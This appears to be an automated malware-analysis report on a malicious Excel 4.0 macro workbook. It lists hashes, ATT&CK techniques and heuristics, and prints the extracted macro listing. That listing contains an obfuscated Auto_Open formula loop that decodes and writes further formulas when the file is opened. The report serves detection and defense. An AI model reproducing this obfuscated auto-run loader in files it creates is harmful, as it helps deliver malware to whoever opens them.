Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 41b210c0d73d9a48…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:32:28 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 748dbb4ee54abfada01991617c21a2b1 SHA-1: b90af083b1ab2335e13198f18ac24844384ad65f SHA-256: 41b210c0d73d9a48b3575066efee14eb36b5cb73cd3f0ef91dd1fb29ebe6fde2
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro sheet that contains an Auto_Open defined name, indicating it will execute automatically when the workbook is opened. Heuristics indicate the use of dangerous formula APIs, suggesting the macro is designed to execute arbitrary code. The presence of an Auto_Open function strongly implies the intent to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6603 bytes
SHA-256: caaad801b4cde769f3f5a40dae4a5503ed6a6ccff5b3d5dfb16cf90e73c24a6e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  EKaZYTrD
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I143 
' 0018     21 LABEL : Cell Value, String Constant - AXOCDi len=0 
' 0018     24 LABEL : Cell Value, String Constant - cbIoLnzYp len=0 
' 0018     24 LABEL : Cell Value, String Constant - DnZnPfRWe len=0 
' 0018     21 LABEL : Cell Value, String Constant - esqioi len=0 
' 0018     27 LABEL : Cell Value, String Constant - FZwZWQYozbWc len=0 
' 0018     24 LABEL : Cell Value, String Constant - hFYJgaTNX len=0 
' 0018     27 LABEL : Cell Value, String Constant - jkVkaJlSnsYj len=0 
' 0018     22 LABEL : Cell Value, String Constant - LoVBRpb len=0 
' 0018     20 LABEL : Cell Value, String Constant - mSxnN len=0 
' 0018     23 LABEL : Cell Value, String Constant - nNcLcQha len=0 
' 0018     26 LABEL : Cell Value, String Constant - OvIeoLxScRt len=0 
' 0018     24 LABEL : Cell Value, String Constant - PFioGIubl len=0 
' 0018     20 LABEL : Cell Value, String Constant - QGbuf len=0 
' 0018     22 LABEL : Cell Value, String Constant - RkpPyxL len=0 
' 0018     22 LABEL : Cell Value, String Constant - saFBuyN len=0 
' 0018     27 LABEL : Cell Value, String Constant - wYLROzNxtnXM len=0 
' 0018     23 LABEL : Cell Value, String Constant - xSqdMoxK len=0 
' 0018     25 LABEL : Cell Value, String Constant - YiSJuNgbLh len=0 
' 0018     24 LABEL : Cell Value, String Constant - yMuHVxOZf len=0 
' 0018     27 LABEL : Cell Value, String Constant - yTODwkJCKVgy len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  EKaZYTrD,I62,"SET.NAME("hFYJgaTNX",VALUE("0"))",""
'  EKaZYTrD,I65,"SET.NAME("wYLROzNxtnXM",hFYJgaTNX)",""
'  EKaZYTrD,I67,"SET.NAME("LoVBRpb",hFYJgaTNX)",""
'  EKaZYTrD,I70,"SET.NAME("xSqdMoxK",COUNTA(OvIeoLxScRt))",""
'  EKaZYTrD,I74,"SET.NAME("cbIoLnzYp",COUNTA(esqioi))",""
'  EKaZYTrD,I77,[],""
'  EKaZYTrD,I81,"SET.NAME("mSxnN","")",""
'  EKaZYTrD,I86,"wYLROzNxtnXM",""
'  EKaZYTrD,I88,"SET.NAME("AXOCDi",HLOOKUP("*",OvIeoLxScRt,wYLROzNxtnXM,FALSE))",""
'  EKaZYTrD,I91,"YiSJuNgbLh",""
'  EKaZYTrD,I96,"SET.NAME("DnZnPfRWe",hFYJgaTNX)",""
'  EKaZYTrD,I99,[],""
'  EKaZYTrD,I101,"DnZnPfRWe",""
'  EKaZYTrD,I105,"yMuHVxOZf",""
'  EKaZYTrD,I107,"nNcLcQha",""
'  EKaZYTrD,I110,"PFioGIubl",""
'  EKaZYTrD,I114,"SET.NAME("yTODwkJCKVgy",VALUE(HLOOKUP("*",esqioi,PFioGIubl,FALSE)))",""
'  EKaZYTrD,I118,"RkpPyxL",""
'  EKaZYTrD,I121,"mSxnN",""
'  EKaZYTrD,I123,"LoVBRpb",""
'  EKaZYTrD,I125,NEXT(),""
'  EKaZYTrD,I127,"FZwZWQYozbWc",""
'  EKaZYTrD,I130,"SET.NAME("f",INT(T(FORMULA(T(mSxnN)&"",""&T(FZwZWQYozbWc)))))",""
'  EKaZYTrD,I133,"QGbuf",""
'  EKaZYTrD,I137,NEXT(),""
'  EKaZYTrD,I141,RETURN(),""
'  EKaZYTrD,I163,"SET.NAME("saFBuyN",I62)",""
'  EKaZYTrD,I168,"OvIeoLxScRt",""
'  EKaZYTrD,I172,"SET.NAME("esqioi",R58C15)",""
'  EKaZYTrD,I174,"SET.NAME("QGbuf",182)",""
'  EKaZYTrD,I177,"SET.NAME("jkVkaJlSnsYj",9)",""
'  EKaZYTrD,I181,saFBuyN(),""
'  EKaZYTrD,I182,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.